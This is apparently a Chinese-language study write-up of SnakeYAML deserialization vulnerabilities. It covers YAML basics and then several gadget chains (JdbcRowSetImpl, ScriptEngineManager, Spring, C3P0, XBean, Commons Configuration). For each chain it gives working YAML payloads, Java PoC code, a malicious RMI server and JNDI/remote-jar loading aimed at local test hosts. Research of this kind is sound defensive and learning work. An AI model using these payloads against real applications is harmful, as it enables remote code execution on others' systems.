SnakeYAML 反序列化
SnakeYAML 是 java 中解析 yaml 的库,支持将 java 对象和 YAML 数据互相转换
YAML 基本语法
YAML 是一种有极高可读性的数据,是一种以数据为中心的语言,任何有效的 JSON 文件都可以被 YAML 解析器识别并处理
YAML 是用空格缩进来表示数据的结构
不能使用 Tab,只允许使用空格键值对
键: 值冒号后面必须跟一个空格version: 10.0列表
以-开头,后面跟一个空格,每项一行person: - marin - limbo纯量
纯量是基本的不可再分的值引用
&锚点,用来标记要重复使用的数据*别名,用来指向已经定义锚点的数据块<<合并键引用,用来将一个键值对的内容合并到另一个键值对中,如果有键名相同的,被合并键值对中的会被覆盖person: &person name: marin age: 18 job: student student: name: limbo total: 1 class: 2 <<: *person上面那个文件就相当于
person: &person name: marin age: 18 job: student student: name: limbo age: 18 job: student total: 1 class: 2注释
#大小写敏感
序列化和反序列化函数
在 Snakeyaml 中提供了 Yaml.dump() 和 Yaml.load() 两个函数对 yaml 格式的数据进行序列化和反序列化
Yaml.load():传入一个字符串或者一个文件,经过序列化后返回一个 java 对象Yaml.dump():将一个 java 对象转化为 yaml 格式
依赖导入:
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.26</version>
</dependency>
示例
用来序列化的 Person 类
public class Person {
public int age;
private String name;
public Person() {
System.out.println("无参构造方法");
}
public Person(String name,int age) {
this.age = age;
this.name = name;
System.out.println("有参构造方法");
}
public String getName() {
System.out.println("getName方法");
return name;
}
public void setName(String name) {
System.out.println("setName方法");
this.name = name;
}
}
测试序列化与反序列化
public class SnakeyamlDemo {
public static void main(String[] args) {
Yaml yaml = new Yaml();
Person marin = new Person("marin",18);
String str = yaml.dump(marin);
System.out.println("序列化");
System.out.println(str);
Object marin2 = yaml.load(str);
System.out.println("反序列化");
System.out.println(marin2);
}
}
这里 !!com.marin.Person 是来用指定反序列化的类名
SnakeYAML 在序列化的时候,如果是 public 属性则通过反射获取,非 public 但是有 getter 方法的属性可以通过 getter 获取,静态属性会被忽略
反序列化也是一样的,会先通过无参构造器创建一个新的实例,然后 public 属性则通过反射赋值,非 public 但是有 setter 方法的属性可以通过 setter 赋值,静态属性会被忽略

调用有参构造方法
SnakeYAML 默认是调用无参构造器,但是也可以调用有参构造方法
比如下面的 Yaml 数据,SnakeYAML 会测试将序列元素按顺序匹配构造函数的参数,这里就应该会匹配 Ponint(int x,int y)
!!com.example.Point [10, 20]
调用 hashcode
SnakeYaml 在处理类的时候,会判断是不是一个 Map 结构,如果是一个 Map 对象时,解析完 key 值之后,就会调用 key 的 hashcode 方法判断 key 值有没有重复
漏洞利用
SnakeYAML 反序列化的关键触发点就是无参构造方法和非公有属性的 setter 方法
JdbcRowSetImpl
com.sun.rowset.JdbcRowSetImpl 这条利用链是由于 javax.naming.InitialContext#lookup() 方法的参数可控导致的 JNDI 注入
由前文知道,YAML 反序列化的入口类很大概率是无参构造方法或者是 setter 方法
这里跟着网上找到了这个 setAutoCommit 的 setter 方法,在里面调用了 connect() 方法

跟进方法可以看到这里有 lookup 方法进行 JNDI 远程调用,参数是 getDataSourceName 方法,继续跟进

发现只要将 dataSource 设置成恶意的 JNDI 地址就可以

payload
!!com.sun.rowset.JdbcRowSetImpl {
dataSourceName:
rmi://127.0.0.1:1099/EvilClass,
autoCommit: true
}
调用链
JdbcRowSetImpl#setAutoCommit()
- JdbcRowSetImpl#connect()
-- JdbcRowSetImpl#lookup()
测试实现
这里本来是想利用 php 反序列化的经验,序列化出来一个 payload,但是好像 java 不能这样,这个数据无法序列化出来
这里运行使用的是 jdk 17 版本,设置了很多安全限制,需要在运行时加一些参数
在下面的运行中修改运行配置
在修改选项中要选中 添加虚拟机选项
一开始测试的是 JNDI + RMI 注入,这里用到的是 dataSourceName 因为只有这个有 setter 方法的,如果直接用 dataSource 是不行的
import org.yaml.snakeyaml.Yaml;
import java.sql.SQLException;
public class pocDemo1 {
public static void main(String[] args) throws SQLException {
String poc = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: rmi://127.0.0.1:1099/EvilClass, autoCommit: true}";
Yaml yaml = new Yaml();
yaml.load(poc);
}
}
运行时要添加选项
--add-opens
java.sql.rowset/com.sun.rowset=ALL-UNNAMED
--add-opens
jdk.naming.rmi/com.sun.jndi.rmi.registry=ALL-UNNAMED
-Dcom.sun.jndi.rmi.object.trustURLCodebase=true
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true
同时还要设置一个设置 RMI 服务的代码
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RmiServer {
public static void main(String[] args) throws NamingException, RemoteException {
Reference reference = new Reference("EvilClass", "EvilClass", "http://127.0.0.1:8002/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
// 将 RMI 服务注册到 1099 端口
Registry registry = LocateRegistry.createRegistry(1099);
// 绑定 Reference 对象
registry.rebind("EvilClass", referenceWrapper);
}
}
在运行中要添加以下选项
--add-exports jdk.naming.rmi/com.sun.jndi.rmi.registry=ALL-UNNAMED
最后成功弹出计算器

- 如果将版本切换到 8u65 就不需要设置这么多东西(
ScriptEngineManager
这个反序列化漏洞点在于 ScriptEngineManager 类的有参构造方法
这个有参构造方法通过调用底层的 SPI 机制,去查找实现了 ScriptEngineFactory 接口的类并初始化
SPI 机制简要来说就是 JDK 内置的服务发现机制,会在 ClassPath 路径下的 META-INF/services 文件夹下查找文件,自动加载文件中定义的类
ScriptEngineFactory 就是利用这个机制,去找到 META-INF/services目录下的 javax.script.ScriptEngineFactory 然后加载文件中执行的类并初始化

调用链
ScriptEngineManager#ScriptEngineManager()
- ScriptEngineManager#init()
-- ScriptEngineManager#initEngines()
测试实现
poc
URLClassLoader(URL[] urls) 这是 java.net.URLClassLoader 的构造函数,所以要多加一层中括号,将 url 包装成一个数组
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [
[
!!java.net.URL [
"http://127.0.0.1:8002/yaml-payload.jar"
]
]
]
]
测试类
public class ScriptEngineDemo {
public static void main(String[] args) {
String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:8002/yaml-payload.jar\"]]]]";
Yaml yaml = new Yaml();
yaml.load(poc);
}
}
为了利用 ScriptEngineManager 我们要在远程地址下载一个 jar 文件,jar 文件下的 META-INF/services 要包含被加载的恶意类,我们需要构建一个项目
在 META-INF/services/javax.script.ScriptEngineFactory 文件中定义要被加载的类名

然后创建对应类并且实现 ScriptEngineFactory 接口,在构造方法中命令执行

然后要编译目标类
javac Poc.java
然后将项目打包成 jar 包
jar -cvf yaml-payload.jar src/main/java/ .
最后开一个服务,就能开始测试


Spring PropertyPathFactoryBean
需要有 Spring 依赖
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.3.30</version>
</dependency>
payload
!!org.springframework.beans.factory.config.PropertyPathFactoryBean
targetBeanName: ldap://127.0.0.1:8003/EvilClass
propertyPath: test
beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
shareableResources: [ldap://127.0.0.1:8003/EvilClass]
漏洞点在 PropertyPathFactoryBean 类的 setBeanFactory 方法中,在这个方法中,发现触发了 getBean 方法,跟进去

发现是一个接口,查看实现,发现有一个和 JNDI 有关的类,跟进去

继续触发了 doGetSingleton 方法

然后一直在跟进 lookup 方法,最后是用了一个匿名内部类的方式调用的 lookup 方法
调用链
JndiTemplate$1 就是代表一个匿名内部类,他在代码中即时定义和创建,这里就会创建一个内部类来进行 lookup
PropertyPathFactoryBean#setBeanFactory(BeanFactory)
- SimpleJndiBeanFactory#getBean(String)
-- SimpleJndiBeanFactory#getBean(String,Class<T>)
--- SimpleJndiBeanFactory#doGetSingleton(String,Class<T>)
---- JndiLocatorSupport#lookup(String,Class<T>)
----- JndiTemplate#lookup(String,Class<T>)
------ JndiTemplate#lookup(String)
------- JndiTemplate#execute(JndiCallback<T>)
-------- JndiTemplate$1#doInContext(Context)
--------- InitialContext#lookup(String)
测试实现
成功弹计算器了

C3P0 WrapperConnectionPoolDataSource
依赖
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
poc
!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
userOverridesAsString: HexAsciiSerializedMap: hex 数据
这个漏洞利用的是 WrapperConnectionPoolDataSource 的构造函数
默认调用无参构造器之后就会调用有参的构造器,在有参构造器中会调用 parseUserOverridesAsString 方法

这个方法会检查有没有前缀 HexAsciiSerializedMap 如果有的话就会剥离前缀和最后的分号,然后解码数据反序列化,这里就是二次反序列化的地方

调用链
WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource()
- WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource(boolean)
-- C3P0ImplUtils#parseUserOverridesAsString(String)
--- ByteUtils#fromHexAscii(String) # hex 数据解码为字节数组
---- SerializableUtils#fromByteArray(byte[])
----- SerializableUtils#deserializeFromByteArray(byte[]) # 反序列化字节数组
测试实现
因为是二次反序列化,这里要搭配其他的反序列化利用链,这里利用了 CC1 链
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.yaml.snakeyaml.Yaml;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class Poc {
public static Map exp() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
),
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value","123");
Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class AIHdl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AIHdlConstructor = AIHdl.getDeclaredConstructor(Class.class,Map.class);
AIHdlConstructor.setAccessible(true);
Object o = AIHdlConstructor.newInstance(Target.class,transformedMap);
HashMap<Object,Object> hashmap = new HashMap<>();
hashmap.put(o,"p");
return hashmap;
}
static void addHexAscii(byte b, StringWriter sw){
int ub = b & 0xFF;
int h1 = ub / 16;
int h2 = ub % 16;
sw.write(toHexDigit(h1));
sw.write(toHexDigit(h2));
}
private static char toHexDigit(int h) {
char out;
if (h <= 9) out = (char)(h + 0x30);
else out = (char)(h + 0x37);
return out;
}
// 用来序列化数据,将序列化后的字节数组返回
public static byte[] tobyteArray(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(o);
return bao.toByteArray();
}
// 将字节数组编码成 HexAscii 格式的字符串
public static String toHexAscii(byte[] bytes){
int len = bytes.length;
StringWriter sw = new StringWriter(len * 2);
for (int i = 0; i < len; ++i) {
addHexAscii(bytes[i], sw);
}
return sw.toString();
}
public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException, IOException {
String hex = toHexAscii(tobyteArray(exp()));
String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
" userOverridesAsString: HexAsciiSerializedMap:"+ hex + ";";
Yaml yaml = new Yaml();
yaml.load(poc);
}
}
C3P0 JndiRefForwardingDataSource
这个的分析就相对好找一点,都在一个类中
直接搜索 lookup 方法,可以找到就一个 dereference 方法实现了,需要的参数是 jndiName

找这个方法的用法,只有一个 inner 方法调用了

继续找,我们只关注 setter 方法,最后测试是 loginTimeout 成功了

payload
!!com.mchange.v2.c3p0.JndiRefForwardingDataSource
jndiName: ldap://127.0.0.1:8003/EvilClass
loginTimeout: 0
调用链
JndiRefForwardingDataSource#setLoginTimeout(int)
- JndiRefForwardingDataSource#inner()
-- JndiRefForwardingDataSource#dereference()
--- InitialContext#lookup(String)
测试实现
import org.yaml.snakeyaml.Yaml;
public class Poc {
public static void main(String[] args) {
String poc = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +
" jndiName: ldap://127.0.0.1:8003/EvilClass\n" +
" loginTimeout: 0\n";
Yaml yaml = new Yaml();
yaml.load(poc);
}
}

Apache XBean
依赖
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-naming</artifactId>
<version>4.26</version>
</dependency>
这个链的触发条件在构造方法 BadAttributeValueExpException 中,这里可以传入一个类,去触发这个类的 toString 方法

这里是跟着调用链走的,这个感觉完全看不来(
这里在导入的依赖中有一个类 ContextUtil,在这个类中有一个内部类 ReadOnlyBinding ,继承了 Binding 类,所以可以触发这个 toString 方法,然后会触发这个 getObject 方法

这里会利用这个类的有参构造器,传入这些参数

这个方法在内部类中重写了 getObject 方法,并且将里面的参数都传入

跟进去 resolve 方法,这里将传入的 value 转化成一个 Reference 对象,然后传入 getObjectInstance 方法

getObjectInstance 方法会在这里还是在调用这个 Reference 的 getObjectFactoryFromReference 方法

再跟进去就能发现这里在加载一个类了

payload
这里利用的是 JNDI 的 Reference 去远程类加载
!!javax.management.BadAttributeValueExpException [
!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding [
marin,
!!javax.naming.Reference [marin,EvilClass,http://127.0.0.1:8002/],
!!org.apache.xbean.naming.context.WritableContext []
]
]
调用链
BadAttributeValueExpException#BadAttributeValueExpException(Object)
- Binding#toString
// 这个是内部类的写法,继承了 Binding
-- ContextUtil$ReadOnlyBinding#getObject()
--- ContextUtil#resolve(Object,String,Name,Context)
---- NamingManager#getObjectInstance(Object,Name,Context,Hashtable<?,?>)
----- NamingManager#getObjectFactoryFromReference(Reference,String)
// 这里的 18 是版本特定的类加载器实现
------ VersionHelper18#loadClass(String,String)
------- VersionHelper18#loadClass(String,ClassLoader)
-------- Class#forName(String,boolean,ClassLoader)
测试实现
public class Poc {
public static void main(String[] args) {
String poc = "!!javax.management.BadAttributeValueExpException [\n" +
" !!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding [\n" +
" marin,\n" +
" !!javax.naming.Reference [marin,EvilClass,http://127.0.0.1:8002/],\n" +
" !!org.apache.xbean.naming.context.WritableContext []\n" +
" ]\n" +
"]";
Yaml yaml = new Yaml();
yaml.load(poc);
}
}

Apache Commons Configuration
依赖
<dependency>
<groupId>commons-configuration</groupId>
<artifactId>commons-configuration</artifactId>
<version>1.10</version>
</dependency>
这里要用到的类是 ConfigurationMap,他有一个父类是 AbstractMap,这个类实现了一个 hashcode 方法,而在 SnakeYaml 中,构造 Map 类型的类时,会调用 hashcode 来判断 key 值是否重复

这里的 entryset 会返回一个内部类 ConfigurationSet ,然后触发他的 iterator

这里又会返回一个内部类 ConfigurationSetIterator

我们可以发现这个类的构造函数调用了 configuration 的 getKeys 方法,这个 configuration 就是我们传入的数据

这后面就是 payload 传入了一个 JNDIConfiguration ,看到他的 getKeys 方法

这里触发了一个 getBaseContext 方法,已经出现 lookup 了

这里要触发 JNDIConfiguration 能传入 context 的构造方法,传入一个 InitialContext 类进去触发 lookup
payload
这里是创建了一个 map 对象,最后的 : 1 就是这个 map 的值
这里必须要用一句话的形式,分多行会无法识别最后的 : 1 报错
!!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [],ldap://127.0.0.1:8003/EvilClass]]: 1
调用链
// 其实调用的是父类的这个方法
ConfigurationMap#hashCode()
- ConfigurationMap#entrySet()
-- ConfigurationMap$ConfigurationSet#iterator()
--- ConfigurationMap$ConfigurationSet$ConfigurationSetIterator#ConfigurationSetIterator()
---- JNDIConfiguration#getKeys()
----- JNDIConfiguration#getKeys(String)
------ JNDIConfiguration#getBaseContext()
------- JNDIConfiguration#getContext()
-------- InitialContext#lookup()
测试实现
public class Poc {
public static void main(String[] args) {
String poc = "!!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [],ldap://127.0.0.1:8003/EvilClass]]: 1";
Yaml yaml = new Yaml();
yaml.load(poc);
}
}
就是这里一下会重复 4 次(


